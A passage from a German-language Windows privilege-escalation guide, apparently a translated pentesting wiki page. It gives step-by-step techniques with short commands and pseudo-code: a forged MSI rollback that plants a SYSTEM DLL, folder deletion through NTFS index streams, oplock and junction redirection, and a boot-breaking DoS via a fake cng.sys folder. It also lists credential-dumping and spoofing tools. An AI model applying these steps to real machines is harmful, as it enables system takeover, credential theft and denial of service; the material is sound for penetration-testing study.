Überschreibe die .rbs-Datei mit einem gefälschten Rollback-Skript, das Windows anweist:
Deine .rbf-Datei (bösartige DLL) in einen privilegierten Pfad wiederherzustellen (z. B. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).
Deine gefälschte .rbf abzulegen, die eine bösartige SYSTEM-level Payload-DLL enthält.
Schritt 12: Trigger the Rollback
Signalisiere das Sync-Event, sodass der Installer fortfährt.
Eine type 19 custom action (ErrorOut) ist so konfiguriert, dass sie die Installation an einem bekannten Punkt absichtlich fehlschlagen lässt.
Dies verursacht den Beginn des Rollback.
Schritt 13: SYSTEM Installs Your DLL
Windows Installer:
liest deine bösartige .rbs.
kopiert deine .rbf-DLL in den Zielordner.
Du hast nun deine bösartige DLL in einem von SYSTEM geladenen Pfad.
Final Step: Execute SYSTEM Code
Starte ein vertrauenswürdiges auto-elevated binary (z. B. osk.exe), das die von dir gehijackte DLL lädt.
Bäm: Dein Code wird als SYSTEM ausgeführt.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Die Haupt-MSI-Rollback-Technik (die vorherige) geht davon aus, dass du einen gesamten Ordner löschen kannst (z. B. C:\Config.Msi). Aber was, wenn deine Schwachstelle nur willkürliches Löschen einzelner Dateien erlaubt?

Du könntest die NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom, genannt:

C:\SomeFolder::$INDEX_ALLOCATION

Dieser Stream speichert die Index-Metadaten des Ordners.

Wenn Sie also den ::$INDEX_ALLOCATION-Stream eines Ordners löschen, entfernt NTFS den gesamten Ordner aus dem Dateisystem.

Das können Sie mit Standard-Datei-Lösch-APIs wie:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Auch wenn du eine file delete API aufrufst, löscht sie den Ordner selbst.

Vom Löschen der Ordnerinhalte zum SYSTEM EoP

Was, wenn dein Primitive es nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber es das Löschen des Inhalts eines vom Angreifer kontrollierten Ordners erlaubt?

Schritt 1: Einen Köder-Ordner und eine Datei einrichten

Erstelle: C:\temp\folder1
Darin: C:\temp\folder1\file1.txt

Schritt 2: Lege ein oplock auf file1.txt

Das oplock unterbricht die Ausführung, wenn ein privilegierter Prozess versucht, file1.txt zu löschen.

// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();

Schritt 3: SYSTEM-Prozess auslösen (z. B. SilentCleanup)

Dieser Prozess durchsucht Ordner (z. B. %TEMP%) und versucht, deren Inhalte zu löschen.
Wenn er bei file1.txt ankommt, löst der oplock aus und übergibt die Kontrolle an deinen Callback.

Schritt 4: Im oplock-Callback – die Löschung umleiten

Option A: Verschiebe file1.txt an einen anderen Ort
Dadurch wird folder1 geleert, ohne den oplock zu brechen.
Lösche file1.txt nicht direkt — das würde den oplock vorzeitig freigeben.
Option B: Konvertiere folder1 in eine junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control

Option C: Erstelle einen symlink in \RPC Control:

# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dies zielt auf den NTFS-internen Stream, der die Ordner-Metadaten speichert — das Löschen davon löscht den Ordner.

Schritt 5: oplock freigeben

SYSTEM-Prozess fährt fort und versucht, file1.txt zu löschen.
Aber jetzt löscht es aufgrund der junction + symlink tatsächlich:

C:\Config.Msi::$INDEX_ALLOCATION

Ergebnis: C:\Config.Msi wird von SYSTEM gelöscht.

Von beliebiger Ordnererstellung zu dauerhaftem DoS

Nutze eine Primitive, die es dir erlaubt, einen beliebigen Ordner als SYSTEM/admin zu erstellen — selbst wenn du keine Dateien schreiben oder keine schwachen Berechtigungen setzen kannst.

Erstelle einen Ordner (keine Datei) mit dem Namen eines kritischen Windows-Treibers, z. B.:

C:\Windows\System32\cng.sys

Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber cng.sys.
Wenn du ihn vorab als Ordner erstellst, kann Windows den eigentlichen Treiber beim Booten nicht laden.
Danach versucht Windows beim Booten, cng.sys zu laden.
Es sieht den Ordner, scheitert beim Auflösen des eigentlichen Treibers, und stürzt ab oder stoppt den Bootvorgang.
Es gibt kein Fallback, und keine Wiederherstellung ohne externe Intervention (z. B. Bootreparatur oder Festplattenzugriff).

Von High Integrity zu SYSTEM

Neuer Service

Wenn du bereits in einem High-Integrity-Prozess läufst, kann der Weg zu SYSTEM ganz einfach sein, indem du einen neuen Service erstellst und ausführst:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Wenn du ein Service-Binary erstellst, stelle sicher, dass es ein gültiger Service ist oder dass die Binärdatei die notwendigen Aktionen schnell genug ausführt, da sie nach 20s beendet wird, wenn es kein gültiger Service ist.

AlwaysInstallElevated

Von einem High Integrity Prozess aus könntest du versuchen, die AlwaysInstallElevated-Registry-Einträge zu aktivieren und eine Reverse-Shell mit einem .msi Wrapper zu installieren.
Mehr Informationen über die involvierten Registry-Schlüssel und wie man ein .msi Paket installiert findest du hier.

High + SeImpersonate privilege to System

Du kannst den Code hier finden.

From SeDebug + SeImpersonate to Full Token privileges

Wenn du diese Token-Privilegien hast (wahrscheinlich findest du das in einem bereits High Integrity Prozess), wirst du in der Lage sein, fast jeden Prozess (keine protected processes) mit dem SeDebug-Privileg zu öffnen, das Token des Prozesses zu kopieren und einen beliebigen Prozess mit diesem Token zu erstellen.
Bei der Verwendung dieser Technik wird normalerweise ein beliebiger Prozess, der als SYSTEM läuft und alle Token-Privilegien hat, ausgewählt (ja, du kannst SYSTEM-Prozesse finden ohne alle Token-Privilegien).
Du kannst ein Beispiel eines Codes, der die vorgeschlagene Technik ausführt, hier finden.

Named Pipes

Diese Technik wird von meterpreter verwendet, um in getsystem zu eskalieren. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, der in diese Pipe schreibt. Dann kann der Server, der die Pipe unter Verwendung des SeImpersonate-Privilegs erstellt hat, das Token des Pipe-Clients (des Service) impersonifizieren und SYSTEM-Rechte erlangen.
Wenn du mehr über Named Pipes lernen willst, solltest du dies lesen.
Wenn du ein Beispiel lesen willst, wie man von High Integrity zu System mit Named Pipes gelangt, solltest du dies lesen.

Dll Hijacking

Wenn es dir gelingt, eine dll zu hijacken, die von einem als SYSTEM laufenden Prozess geladen wird, wirst du in der Lage sein, beliebigen Code mit diesen Rechten auszuführen. Daher ist Dll Hijacking auch für diese Art der Privilege Escalation nützlich und darüber hinaus viel leichter von einem High Integrity Prozess zu erreichen, da dieser Schreibrechte auf die Ordner hat, die zum Laden von dlls verwendet werden.
Du kannst hier mehr über Dll hijacking lernen.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Siehe: https://github.com/itm4n/FullPowers

Weitere Hilfe

Statische impacket Binaries

Nützliche Tools

Bestes Tool, um nach Windows lokalen Privilegien-Eskalationsvektoren zu suchen: WinPEAS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Prüft auf Fehlkonfigurationen und sensible Dateien (siehe hier). Erkannt.
JAWS -- Prüft einige mögliche Fehlkonfigurationen und sammelt Informationen (siehe hier).
privesc -- Prüft auf Fehlkonfigurationen
SessionGopher -- Extrahiert gespeicherte Sitzungsinformationen von PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP. Lokal mit -Thorough verwenden.
Invoke-WCMDump -- Extrahiert Anmeldeinformationen aus dem Credential Manager. Erkannt.
DomainPasswordSpray -- Verteilt gesammelte Passwörter über die Domain
Inveigh -- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS-Spoofer und Man-in-the-Middle-Tool.
WindowsEnum -- Grundlegende Windows-Enumerierung für Privilege Escalation
~~Sherlock~~ ~~~~ -- Suche nach bekannten Privesc-Schwachstellen (DEPRECATED zugunsten von Watson)
~~WINspect~~ -- Lokale Checks (Benötigt Admin-Rechte)

Exe

Watson -- Sucht nach bekannten Privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) (vorkompiliert)
SeatBelt -- Durchsucht den Host nach Fehlkonfigurationen (mehr ein Info-Gathering-Tool als reines Privesc-Tool) (muss kompiliert werden) (vorkompiliert)
LaZagne -- Extrahiert Anmeldeinformationen aus vielen Programmen (vorkompilierte exe auf GitHub)
SharpUP -- Port von PowerUp nach C#
~~Beroot~~ ~~~~ -- Prüft auf Fehlkonfigurationen (ausführbare Datei vorkompiliert in GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.
~~Windows-Privesc-Check~~ -- Prüft auf mögliche Fehlkonfigurationen (exe aus Python). Nicht empfohlen. Funktioniert nicht gut unter Win10.

Bat

winPEASbat -- Tool erstellt basierend auf diesem Post (benötigt accesschk nicht unbedingt, kann es aber nutzen).

Local

Windows-Exploit-Suggester -- Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokal, Python)
Windows Exploit Suggester Next Generation -- Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokal, Python)

Meterpreter

multi/recon/local_exploit_suggestor

Du musst das Projekt mit der korrekten Version von .NET kompilieren (siehe dies). Um die installierte Version von .NET auf dem Zielhost zu sehen, kannst du folgendes tun:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

README.md Unescape Escape

Windows Local Privilege Escalation

Bestes Tool, um nach Windows local privilege escalation vectors zu suchen: WinPEAS

Grundlegende Windows-Theorie

Access Tokens

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows-Sicherheitskontrollen

Systeminformationen

Versionsinfo-Enumeration

Versions-Exploits

Umgebung

PowerShell-Verlauf

PowerShell-Transkriptdateien

PowerShell Module Logging

PowerShell Script Block Logging

Internet-Einstellungen

Laufwerke

WSUS

KrbRelayUp

AlwaysInstallElevated

Metasploit payloads

PowerUP

MSI Wrapper

MSI mit WIX erstellen

MSI mit Visual Studio erstellen

MSI-Installation

Antivirus und Detektoren

Audit-Einstellungen

WEF

LAPS

WDigest

LSA Protection

Credentials Guard

Cached Credentials

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Privilegierte Gruppen

Token-Manipulation

Angemeldete Benutzer / Sitzungen

Home-Ordner

Passwort-Richtlinie

Inhalt der Zwischenablage abrufen

Laufende Prozesse

Datei- und Ordnerberechtigungen

Memory Password mining

Unsichere GUI-Apps

Dienste

Berechtigungen

Dienst aktivieren

Dienst-Binärpfad ändern

Dienst neu starten

Schwache Berechtigungen von Service-Binaries

Services registry modify permissions

Services registry AppendData/AddSubdirectory permissions

Unquoted Service Paths

Wiederherstellungsaktionen

Anwendungen

Installierte Anwendungen

Schreibberechtigungen

Beim Systemstart ausführen

Treiber

PATH DLL Hijacking

Netzwerk

Freigaben

hosts-Datei

Netzwerkschnittstellen & DNS

Open Ports

Routingtabelle

ARP-Tabelle

Firewall-Regeln

Windows-Subsystem für Linux (wsl)

Windows-Anmeldeinformationen

Winlogon-Anmeldeinformationen

Anmeldeinformations-Manager / Windows Vault

DPAPI

PowerShell-Anmeldeinformationen

WLAN

Gespeicherte RDP-Verbindungen

Kürzlich ausgeführte Befehle

README.md